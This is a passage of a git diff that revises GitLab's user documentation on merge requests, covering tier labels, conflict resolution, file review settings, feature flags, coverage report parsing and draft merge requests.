b/doc/user/project/merge_requests/merge_request_dependencies.md index 4a596ed6139..646d77391a3 100644 --- a/doc/user/project/merge_requests/merge_request_dependencies.md +++ b/doc/user/project/merge_requests/merge_request_dependencies.md @@ -17,7 +17,7 @@ then it cannot be merged until its dependency is itself merged. NOTE: Merge requests dependencies are a **PREMIUM** feature, but this restriction is -only enforced for the dependent merge request. A merge request in a **CORE** or +only enforced for the dependent merge request. A merge request in a **FREE** or **STARTER** project can be a dependency of a **PREMIUM** merge request, but not vice-versa. diff --git a/doc/user/project/merge_requests/merge_request_discussion_resolution.md b/doc/user/project/merge_requests/merge_request_discussion_resolution.md deleted file mode 100644 index f8d15f31875..00000000000 --- a/doc/user/project/merge_requests/merge_request_discussion_resolution.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../discussions/index.md' ---- - -This document was moved to [another location](../../discussions/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_when_build_succeeds.md b/doc/user/project/merge_requests/merge_when_build_succeeds.md deleted file mode 100644 index 48d32d2882f..00000000000 --- a/doc/user/project/merge_requests/merge_when_build_succeeds.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -redirect_to: 'merge_when_pipeline_succeeds.md' ---- - -This document was moved to [merge_when_pipeline_succeeds](merge_when_pipeline_succeeds.md). - ->[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7135) by the "Rename MWBS service to Merge When Pipeline Succeeds" change. - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md index b813e4f7d28..d33a8e40aac 100644 --- a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md +++ b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Merge when pipeline succeeds +# Merge when pipeline succeeds **(FREE)** When reviewing a merge request that looks ready to merge but still has a pipeline running, you can set it to merge automatically when the @@ -42,8 +42,12 @@ complete, the merge is blocked until you resolve all existing threads. ## Only allow merge requests to be merged if the pipeline succeeds -You can prevent merge requests from being merged if their pipeline did not succeed -or if there are threads to be resolved. This works for both: +You can prevent merge requests from being merged if: + +- No pipeline ran. +- The pipeline did not succeed. + +This works for both: - GitLab CI/CD pipelines - Pipelines run from an [external CI integration](../integrations/overview.md#integrations-listing) @@ -58,6 +62,7 @@ CI providers with this feature. To enable it, you must: 1. Press **Save** for the changes to take effect. This setting also prevents merge requests from being merged if there is no pipeline. +You should be careful to configure CI/CD so that pipelines run for every merge request. ### Limitations diff --git a/doc/user/project/merge_requests/resolve_conflicts.md b/doc/user/project/merge_requests/resolve_conflicts.md index 99e70f35d6d..a53b5032e1d 100644 --- a/doc/user/project/merge_requests/resolve_conflicts.md +++ b/doc/user/project/merge_requests/resolve_conflicts.md @@ -5,18 +5,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Merge request conflict resolution +# Merge request conflict resolution **(FREE)** Merge conflicts occur when two branches have different changes that cannot be merged automatically. -Git is able to automatically merge changes between branches in most cases, but -there are situations where Git will require your assistance to resolve the +Git can merge changes between branches in most cases, but +occasionally Git requires your assistance to resolve the conflicts manually. Typically, this is necessary when people change the same parts of the same files. -GitLab will prevent merge requests from being merged until all conflicts are -resolved. Conflicts can be resolved locally, or in many cases within GitLab +GitLab prevents merge requests from being merged until all conflicts are +resolved. Conflicts can be resolved locally, or in many cases in GitLab (see [conflicts available for resolution](#conflicts-available-for-resolution) for information on when this is available). @@ -24,35 +24,30 @@ for information on when this is available). NOTE: GitLab resolves conflicts by creating a merge commit in the source branch that -is not automatically merged into the target branch. This allows the merge -commit to be reviewed and tested before the changes are merged, preventing +is not automatically merged into the target branch. The merge +commit can be reviewed and tested before the changes are merged. This prevents unintended changes entering the target branch without review or breaking the build. ## Resolve conflicts: interactive mode -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5479) in GitLab 8.11. - -Clicking this will show a list of files with conflicts, with conflict sections +Clicking **Resolve Conflicts** displays a list of files with conflicts, with conflict sections highlighted:  -Once all conflicts have been marked as using 'ours' or 'theirs', the conflict -can be resolved. This will perform a merge of the target branch of the merge -request into the source branch, resolving the conflicts using the options +After all conflicts have been marked as using 'ours' or 'theirs', the conflict +can be resolved. Resolving conflicts merges the target branch of the merge +request into the source branch, using the options chosen. If the source branch is `feature` and the target branch is `master`, this is similar to performing `git checkout feature; git merge master` locally. ## Resolve conflicts: inline editor -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/6374) in GitLab 8.13. - -The merge conflict resolution editor allows for more complex merge conflicts, -which require the user to manually modify a file in order to resolve a conflict, -to be solved right form the GitLab interface. Use the **Edit inline** button -to open the editor. Once you're sure about your changes, hit the -**Commit to source branch** button. +Some merge conflicts are more complex, requiring you to manually modify a file to +resolve them. Use the merge conflict resolution editor to resolve complex +conflicts in the GitLab interface. Click **Edit inline** to open the editor. +After you're sure about your changes, click **Commit to source branch**.  @@ -66,13 +61,16 @@ GitLab allows resolving conflicts in a file where all of the below are true: - The file, with conflict markers added, is not over 200 KB in size - The file exists under the same path in both branches -If any file with conflicts in that merge request does not meet all of these -criteria, the conflicts for that merge request cannot be resolved in the UI. +If any file in your merge request containing conflicts can't meet all of these +criteria, you can't resolve the merge conflict in the UI. Additionally, GitLab does not detect conflicts in renames away from a path. For -example, this will not create a conflict: on branch `a`, doing `git mv file1 -file2`; on branch `b`, doing `git mv file1 file3`. Instead, both files will be -present in the branch after the merge request is merged. +example, this does not create a conflict: + +1. On branch `a`, doing `git mv file1 file2` +1. On branch `b`, doing `git mv file1 file3`. + +Instead, both files are present in the branch after the merge request is merged. <!-- ## Troubleshooting diff --git a/doc/user/project/merge_requests/revert_changes.md b/doc/user/project/merge_requests/revert_changes.md index 40a4631694b..d5d0578c07c 100644 --- a/doc/user/project/merge_requests/revert_changes.md +++ b/doc/user/project/merge_requests/revert_changes.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Reverting changes +# Reverting changes **(FREE)** You can use Git's powerful feature to [revert any commit](https://git-scm.com/docs/git-revert "Git revert documentation") by clicking the **Revert** button in merge requests and commit details. diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md index e2d6ba9ea1c..94f48fa544f 100644 --- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md +++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, reference --- -# Reviewing and managing merge requests **(CORE)** +# Reviewing and managing merge requests **(FREE)** Merge requests are the primary method of making changes to files in a GitLab project. Changes are proposed by [creating and submitting a merge request](creating_merge_requests.md), @@ -13,10 +13,10 @@ which is then reviewed, and accepted (or rejected). ## View project merge requests -View all the merge requests within a project by navigating to **Project > Merge Requests**. +View all the merge requests in a project by navigating to **Project > Merge Requests**. -When you access your project's merge requests, GitLab will present them in a list, -and you can use the tabs available to quickly filter by open and closed. You can also [search and filter the results](../../search/index.md#filtering-issue-and-merge-request-lists). +When you access your project's merge requests, GitLab displays them in a list. +Use the tabs to quickly filter by open and closed. You can also [search and filter the results](../../search/index.md#filtering-issue-and-merge-request-lists).  @@ -32,7 +32,7 @@ You can [search and filter the results](../../search/index.md#filtering-issue-an A merge commit is created for every merge, but the branch is only merged if a fast-forward merge is possible. This ensures that if the merge request build -succeeded, the target branch build will also succeed after merging. +succeeded, the target branch build also succeeds after the merge. Navigate to a project's settings, select the **Merge commit with semi-linear history** option under **Merge Requests: Merge method** and save your changes. @@ -80,21 +80,23 @@ Click **Expand file** on any file to view the changes for that file. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222790) in GitLab 13.2. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229848) in GitLab 13.7. -For larger merge requests it might sometimes be useful to review single files at a time. To enable, -from your avatar on the top-right navigation bar, click **Settings**, and go to **Preferences** on the left -sidebar. Scroll down to the **Behavior** section and select **Show one file at a time on merge request's Changes tab**. -Click **Save changes** to apply. +For larger merge requests, consider reviewing one file at a time. To enable this feature: -From there, when reviewing merge requests' **Changes** tab, you will see only one file at a time. You can then click the buttons **Prev** and **Next** to view the other files changed. +1. In the top-right corner, select your avatar. +1. Select **Preferences**. +1. Scroll to the **Behavior** section and select **Show one file at a time on merge request's Changes tab**. +1. Select **Save changes**. + +After you enable this setting, GitLab displays only one file at a time in the **Changes** tab when you review merge requests. You can click **Prev** and **Next** to view other changed files.  -From [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/233898) onwards, if you want to change +In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/233898) and later, if you want to change this behavior, you can do so from your **User preferences** (as explained above) or directly in a merge request: 1. Go to the merge request's **Changes** tab. -1. Click the cog icon (**{settings}**) to reveal the merge request's settings dropdown. +1. Select the cog icon (**{settings}**) to reveal the merge request's settings dropdown. 1. Select or deselect the checkbox **Show one file at a time** to change the setting accordingly. This change overrides the choice you made in your user preferences and persists until you clear your @@ -104,10 +106,14 @@ browser's cookies or change this behavior again. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18140) in GitLab 13.0. -To seamlessly navigate among commits in a merge request, from the **Commits** tab, click one of -the commits to open the single-commit view. From there, you can navigate among the commits -by clicking the **Prev** and **Next** buttons on the top-right of the page or by using the -<kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts. +To seamlessly navigate among commits in a merge request: + +1. Select the **Commits** tab. +1. Select a commit to open it in the single-commit view. +1. Navigate through the commits by either: + + - Selecting **Prev** and **Next** buttons on the top-right of the page. + - Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts.  @@ -120,7 +126,7 @@ to expand the entire file.  -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/205401) in GitLab 13.1, when viewing a +In GitLab [versions 13.1 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/205401), when viewing a merge request's **Changes** tab, if a certain file was only renamed, you can expand it to see the entire content by clicking **Show file contents**. @@ -136,24 +142,60 @@ NOTE: You can append `?w=1` while on the diffs page of a merge request to ignore any whitespace changes. +## Mark files as viewed + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51513) in GitLab 13.9. +> - It's deployed behind a feature flag, enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-file-views). **(FREE SELF)** + +When reviewing a merge request with many files multiple times, it may be useful to the reviewer +to focus on new changes and ignore the files that they have already reviewed and don't want to +see anymore unless they are changed again. + +To mark a file as viewed: + +1. Go to the merge request's **Diffs** tab. +1. On the right-top of the file, locate the **Viewed** checkbox. +1. Check it to mark the file as viewed. + +Once checked, the file remains marked for that reviewer unless there are newly introduced +changes to its content or the checkbox is unchecked. + +### Enable or disable file views **(FREE SELF)** + +The file view feature is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to enable it for your instance. + +To enable it: + +```ruby +Feature.enable(:local_file_reviews) +``` + +To disable it: + +```ruby +Feature.disable(:local_file_reviews) +``` + ## Perform inline code reviews > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13950) in GitLab 11.5. -GitLab provides a way of leaving comments in any part of the file being changed -in a Merge Request. To do so, click the **{comment}** **comment** icon in the gutter of the Merge Request diff UI to expand the diff lines and leave a comment, just as you would for a changed line. +In a merge request, you can leave comments in any part of the file being changed. +In the Merge Request Diff UI, click the **{comment}** **comment** icon in the gutter +to expand the diff lines and leave a comment, just as you would for a changed line.  ### Commenting on multiple lines > - [Introduced](https://gitlab.com/gitlab-org/ux-research/-/issues/870) in GitLab 13.2. -> - It's deployed behind a feature flag, enabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221268) on GitLab 13.3. -> - It's enabled on GitLab.com. -> - It can be disabled or enabled per-project. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-multiline-comments). **(CORE ONLY)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299121) in GitLab 13.9. GitLab provides a way to select which lines of code a comment refers to. After starting a comment a dropdown selector is shown to select the first line that this comment refers to. @@ -169,53 +211,33 @@ above it.  -### Enable or disable multiline comments **(CORE ONLY)** - -The multiline comments feature is under development but ready for production use. -It is deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to enable it for your instance. - -To disable it: - -```ruby -Feature.disable(:multiline_comments) -``` - -To enable it: - -```ruby -Feature.enable(:multiline_comments) -``` - ## Pipeline status in merge requests widgets If you've set up [GitLab CI/CD](../../../ci/README.md) in your project, -you will be able to see: +you can see: - Both pre-merge and post-merge pipelines and the environment information if any. - Which deployments are in progress. -If there's an [environment](../../../ci/environments/index.md) and the application is -successfully deployed to it, the deployed environment and the link to the -Review App will be shown as well. +If an application is successfully deployed to an +[environment](../../../ci/environments/index.md), the deployed environment and the link to the +Review App are both shown. NOTE: -When the default branch (for example, `main`) is red due to a failed CI pipeline, the `merge` button -When the pipeline fails in a merge request but it can be merged nonetheless, -the **Merge** button will be colored in red. +When the pipeline fails in a merge request but it can still be merged, +the **Merge** button is colored red. ### Post-merge pipeline status When a merge request is merged, you can see the post-merge pipeline status of the branch the merge request was merged into. For example, when a merge request -is merged into the master branch and then triggers a deployment to the staging +is merged into the `master` branch and then triggers a deployment to the staging environment. -Deployments that are ongoing will be shown, as well as the deploying/deployed state +Ongoing deployments are shown, and the state (deploying or deployed) for environments. If it's the first time the branch is deployed, the link -will return a `404` error until done. During the deployment, the stop button will -be disabled. If the pipeline fails to deploy, the deployment information will be hidden. +returns a `404` error until done. During the deployment, the stop button is +disabled. If the pipeline fails to deploy, the deployment information is hidden.  @@ -223,14 +245,15 @@ For more information, [read about pipelines](../../../ci/pipelines/index.md). ### Merge when pipeline succeeds (MWPS) -Set a merge request that looks ready to merge to [merge automatically when CI pipeline succeeds](merge_when_pipeline_succeeds.md). +Set a merge request that looks ready to merge to +[merge automatically when CI pipeline succeeds](merge_when_pipeline_succeeds.md). ### Live preview with Review Apps If you configured [Review Apps](https://about.gitlab.com/stages-devops-lifecycle/review-apps/) for your project, -you can preview the changes submitted to a feature-branch through a merge request -in a per-branch basis. No need to checkout the branch, install and preview locally; -all your changes will be available to preview by anyone with the Review Apps link. +you can preview the changes submitted to a feature branch through a merge request +on a per-branch basis. You don't need to checkout the branch, install, and preview locally. +All your changes are available to preview by anyone with the Review Apps link. With GitLab [Route Maps](../../../ci/review_apps/index.md#route-maps) set, the merge request widget takes you directly to the pages changed, making it easier and @@ -240,21 +263,26 @@ faster to preview proposed modifications. ## Associated features -There is also a large number of features to associated to merge requests: - -| Feature | Description | -|-------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------| -| [Bulk editing merge requests](../../project/bulk_editing.md) | Update the attributes of multiple merge requests simultaneously. | -| [Cherry-pick changes](cherry_pick_changes.md) | Cherry-pick any commit in the UI by simply clicking the **Cherry-pick** button in a merged merge requests or a commit. | -| [Fast-forward merge requests](fast_forward_merge.md) | For a linear Git history and a way to accept merge requests without creating merge commits | -| [Find the merge request that introduced a change](versions.md) | When viewing the commit details page, GitLab will link to the merge request(s) containing that commit. | -| [Merge requests versions](versions.md) | Select and compare the different versions of merge request diffs | -| [Resolve conflicts](resolve_conflicts.md) | GitLab can provide the option to resolve certain merge request conflicts in the GitLab UI. | -| [Revert changes](revert_changes.md) | Revert changes from any commit from within a merge request. | +These features are associated with merge requests: + +- [Bulk editing merge requests](../../project/bulk_editing.md): + Update the attributes of multiple merge requests simultaneously. +- [Cherry-pick changes](cherry_pick_changes.md): + Cherry-pick any commit in the UI by clicking the **Cherry-pick** button in a merged merge requests or a commit. +- [Fast-forward merge requests](fast_forward_merge.md): + For a linear Git history and a way to accept merge requests without creating merge commits +- [Find the merge request that introduced a change](versions.md): + When viewing the commit details page, GitLab links to the merge request(s) containing that commit. +- [Merge requests versions](versions.md): + Select and compare the different versions of merge request diffs +- [Resolve conflicts](resolve_conflicts.md): + GitLab can provide the option to resolve certain merge request conflicts in the GitLab UI. +- [Revert changes](revert_changes.md): + Revert changes from any commit from a merge request. ## Troubleshooting -Sometimes things don't go as expected in a merge request, here are some +Sometimes things don't go as expected in a merge request. Here are some troubleshooting steps. ### Merge request cannot retrieve the pipeline status @@ -264,7 +292,7 @@ This can occur if Sidekiq doesn't pick up the changes fast enough. #### Sidekiq Sidekiq didn't process the CI state change fast enough. Please wait a few -seconds and the status will update automatically. +seconds and the status should update automatically. #### Bug @@ -280,12 +308,9 @@ Merge Request again. ## Tips -Here are some tips that will help you be more efficient with merge requests in +Here are some tips to help you be more efficient with merge requests in the command line. -NOTE: -This section might move in its own document in the future. - ### Copy the branch name for local checkout > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23767) in GitLab 13.4. @@ -294,7 +319,7 @@ The merge request sidebar contains the branch reference for the source branch used to contribute changes for this merge request. To copy the branch reference into your clipboard, click the **Copy branch name** button -(**{copy-to-clipboard}**) in the right sidebar. You can then use it to checkout the branch locally +(**{copy-to-clipboard}**) in the right sidebar. Use it to checkout the branch locally via command line by running `git checkout <branch-name>`. ### Checkout merge requests locally through the `head` ref @@ -303,7 +328,7 @@ A merge request contains all the history from a repository, plus the additional commits added to the branch associated with the merge request. Here's a few ways to checkout a merge request locally. -Please note that you can checkout a merge request locally even if the source +You can checkout a merge request locally even if the source project is a fork (even a private fork) of the target project. This relies on the merge request `head` ref (`refs/merge-requests/:iid/head`) @@ -312,10 +337,10 @@ request via its ID instead of its branch. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223156) in GitLab 13.4, 14 days after a merge request gets closed or merged, the merge request -`head` ref will be deleted. This means that the merge request will not be available +`head` ref is deleted. This means that the merge request is not available for local checkout via the merge request `head` ref anymore. The merge request -can still be re-opened. Also, as long as the merge request's branch -exists, you can still check out the branch as it won't be affected. +can still be re-opened. If the merge request's branch +exists, you can still check out the branch, as it isn't affected. #### Checkout locally by adding a Git alias @@ -334,7 +359,7 @@ from the `origin` remote, do: git mr origin 5 ``` -This will fetch the merge request into a local `mr-origin-5` branch and check +This fetches the merge request into a local `mr-origin-5` branch and check it out. #### Checkout locally by modifying `.git/config` for a given repository diff --git a/doc/user/project/merge_requests/sast.md b/doc/user/project/merge_requests/sast.md deleted file mode 100644 index 11f85749fb7..00000000000 --- a/doc/user/project/merge_requests/sast.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../application_security/sast/index.md' ---- - -This document was moved to [another location](../../application_security/sast/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/sast_docker.md b/doc/user/project/merge_requests/sast_docker.md deleted file mode 100644 index 5d61f2b36e8..00000000000 --- a/doc/user/project/merge_requests/sast_docker.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../application_security/container_scanning/index.md' ---- - -This document was moved to [another location](../../application_security/container_scanning/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md index 93b85ce8669..1b99b1b5c44 100644 --- a/doc/user/project/merge_requests/squash_and_merge.md +++ b/doc/user/project/merge_requests/squash_and_merge.md @@ -5,10 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Squash and merge +# Squash and merge **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1024) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.17. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) from [GitLab Starter](https://about.gitlab.com/pricing/)to GitLab Core in 11.0. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) from [GitLab Starter](https://about.gitlab.com/pricing/)to GitLab Free in 11.0. With squash and merge you can combine all your merge request's commits into one and retain a clean history. @@ -110,7 +110,6 @@ squashing can itself be considered equivalent to rebasing. > - It's enabled on GitLab.com. > - It can be enabled per project. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-squash-commit-options). **(CORE ONLY)** With Squash Commits Options you can configure the behavior of Squash and Merge for your project. To set it up, navigate to your project's **Settings > General** and expand **Merge requests**. @@ -133,31 +132,6 @@ NOTE: If your project is set to **Do not allow** Squash and Merge, the users still have the option to squash commits locally through the command line and force-push to their remote branch before merging. -### Enable or disable Squash Commit Options **(CORE ONLY)** - -Squash Commit Options is under development but ready for production use. It is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -# Instance-wide -Feature.enable(:squash_options) -# or by project -Feature.enable(:squash_options, Project.find(<project ID>)) -``` - -To disable it: - -```ruby -# Instance-wide -Feature.disable(:squash_options) -# or by project -Feature.disable(:squash_options, Project.find(<project ID>)) -``` - <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md index 3960f916f9b..e60f2f712d3 100644 --- a/doc/user/project/merge_requests/test_coverage_visualization.md +++ b/doc/user/project/merge_requests/test_coverage_visualization.md @@ -52,7 +52,52 @@ Hovering over the coverage bar will provide further information, such as the num of times the line was checked by tests. NOTE: -The Cobertura XML parser currently does not support the `sources` element and ignores it. It is assumed that +A limit of 100 `<source>` nodes for Cobertura format XML files applies. If your Cobertura report exceeds +100 nodes, there can be mismatches or no matches in the Merge Request diff view. + +### Automatic class path correction + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217664) in GitLab 13.8. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284822) in GitLab 13.9. + +For the coverage report to properly match the files displayed on a merge request diff, the `filename` of a `class` element +must contain the full path relative to the project root. But in some coverage analysis frameworks, the generated +Cobertura XML has the `filename` path relative to the class package directory instead. + +To make an intelligent guess on the project root relative `class` path, the Cobertura XML parser will attempt to build the +full path by doing following: + +1. Extract a portion of the `source` paths from the `sources` element and combine them with the class `filename` path. +1. Check if the candidate path exists in the project. +1. Use the first candidate that matches as the class full path. + +As an example scenario, given the project's full path is `test-org/test-project`, and has the following file tree relative +to the project root: + +```shell +Auth/User.cs +Lib/Utils/User.cs +``` + +And the `sources` from Cobertura XML with paths in the format of `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`: + +```xml +<sources> + <source>/builds/test-org/test-project/Auth</source> + <source>/builds/test-org/test-project/Lib/Utils</source> +</sources> +``` + +The parser will extract `Auth` and `Lib/Utils` from the sources and use these as basis to determine the class path relative to +the project root, combining these extracted sources and the class filename. + +If for example there is a `class` element with the `filename` value of `User.cs`, the parser will take the first candidate path +that matches which is `Auth/User.cs`. + +For each `class` element, the parser will attempt to look for a match for each extracted `source` path up to `100` iterations. If it reaches this limit without finding a matching path in the file tree, the class will not be included in the final coverage report. + +NOTE: +The automatic class path correction only works on `source` paths in the format of `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`. If `source` will be ignored if the path does not follow this pattern. The parser will assume that the `filename` of a `class` element contains the full path relative to the project root. ## Example test coverage configurations diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md index 4ad960413ef..8f3ce9186f1 100644 --- a/doc/user/project/merge_requests/versions.md +++ b/doc/user/project/merge_requests/versions.md @@ -64,9 +64,10 @@ In GitLab 12.10, we added a comparison mode, which shows a diff calculated by simulating how it would look like once merged - a more accurate representation of the changes rather than using the base of the two branches. The new mode is available from the comparison target drop down -by selecting **master (HEAD)**. In the future it will -[replace](https://gitlab.com/gitlab-org/gitlab/-/issues/198458) the -current default comparison. +by selecting **master (HEAD)**. In GitLab 13.9, it +[replaced](https://gitlab.com/gitlab-org/gitlab/-/issues/198458) the +old default comparison. For technical details, additional information is available in the +[developer documentation](../../../development/diffs.md#merge-request-diffs-against-the-head-of-the-target-branch).  diff --git a/doc/user/project/merge_requests/work_in_progress_merge_requests.md b/doc/user/project/merge_requests/work_in_progress_merge_requests.md index 7417320eea0..43ab03114fa 100644 --- a/doc/user/project/merge_requests/work_in_progress_merge_requests.md +++ b/doc/user/project/merge_requests/work_in_progress_merge_requests.md @@ -5,12 +5,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Draft merge requests **(CORE)** +# Draft merge requests **(FREE)** If a merge request is not yet ready to be merged, perhaps due to continued development or open threads, you can prevent it from being accepted before it's ready by flagging -it as a **Draft**. This will disable the "Merge" button, preventing it from -being merged, and it will stay disabled until the "Draft" flag has been removed. +it as a **Draft**. This disables the **Merge** button, preventing it from +being merged. It stays disabled until the **Draft** flag has been removed.  @@ -22,7 +22,7 @@ To run pipelines for merged results, you must [remove the draft status](#removin ## Adding the "Draft" flag to a merge request -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32692) in GitLab 13.2, Work-In-Progress (WIP) merge requests were renamed to **Draft**. Support for using **WIP** will be removed in GitLab 14.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32692) in GitLab 13.2, Work-In-Progress (WIP) merge requests were renamed to **Draft**. Support for using **WIP** is scheduled for removal in GitLab 14.0. > - **Mark as draft** and **Mark as ready** buttons [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227421) in GitLab 13.5. There are several ways to flag a merge request as a Draft: @@ -30,15 +30,15 @@ There are several ways to flag a merge request as a Draft: - Click the **Mark as draft** button on the top-right corner of the merge request's page. - Add `[Draft]`, `Draft:` or `(Draft)` to the start of the merge request's title. Clicking on **Start the title with Draft:**, under the title box, when editing the merge request's - description will have the same effect. + description has the same effect. - **Deprecated** Add `[WIP]` or `WIP:` to the start of the merge request's title. - **WIP** still works but was deprecated in favor of **Draft**. It will be removed in the next major version (GitLab 14.0). + **WIP** still works but was deprecated in favor of **Draft**. It is scheduled for removal in the next major version (GitLab 14.0). - Add the `/draft` (or `/wip`) [quick action](../quick_actions.md#quick-actions-for-issues-merge-requests-and-epics) in a comment in the merge request. This is a toggle, and can be repeated - to change the status back. Note that any other text in the comment will be discarded. + to change the status back. Note that any other text in the comment is discarded. - Add `draft:`, `Draft:`, `fixup!`, or `Fixup!` to the beginning of a commit message targeting the merge request's source branch. This is not a toggle, and doing it again in another - commit will have no effect. + commit has no effect. ## Removing the "Draft" flag from a merge request @@ -48,10 +48,10 @@ Similar to above, when a Merge Request is ready to be merged, you can remove the - Click the **Mark as ready** button on the top-right corner of the merge request's page. - Remove `[Draft]`, `Draft:` or `(Draft)` from the start of the merge request's title. Clicking on **Remove the Draft: prefix from the title**, under the title box, when editing the merge - request's description, will have the same effect. + request's description, has the same effect. - Add the `/draft` (or `/wip`) [quick action](../quick_actions.md#quick-actions-for-issues-merge-requests-and-epics) in a comment in the merge request. This is a toggle, and can be repeated - to change the status back. Note that any other text in the comment will be discarded. + to change the status back. Note that any other text in the comment is discarded. - Click on the **Resolve Draft status** button near the bottom of the merge request description, next to the **Merge** button (see [image above](#draft-merge-requests)). Must have at least Developer level permissions on the project for the button to @@ -60,8 +60,8 @@ Similar to above, when a Merge Request is ready to be merged, you can remove the ## Including/excluding WIP merge requests when searching When viewing/searching the merge requests list, you can choose to include or exclude -WIP merge requests by adding a "WIP" filter in the search box, and choosing "Yes" -(to include) or "No" (to exclude). +WIP merge requests. Add a **WIP** filter in the search box, and choose **Yes** +to include, or **No** to exclude.  diff --git a/doc/user/project/milestones/burndown_and_burnup_charts.md b/doc/user/project/milestones/burndown_and_burnup_charts.md index 3e266d054be..7c22b271ec2 100644 --- a/doc/user/project/milestones/burndown_and_burnup_charts.md +++ b/doc/user/project/milestones/burndown_and_burnup_charts.md @@ -5,18 +5,17 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Burndown and burnup charts **(STARTER)** +# Burndown and burnup charts **(PREMIUM)** [Burndown](#burndown-charts) and [burnup](#burnup-charts) charts show the progress of completing a milestone.  -## Burndown charts +## Burndown charts **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1540) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.1 for project milestones. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5354) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.8 for group milestones. -> - [Added](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6495) to [GitLab Starter](https://about.gitlab.com/pricing/) 11.2 for group milestones. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6903) [fixed burndown charts](#fixed-burndown-charts) in [GitLab 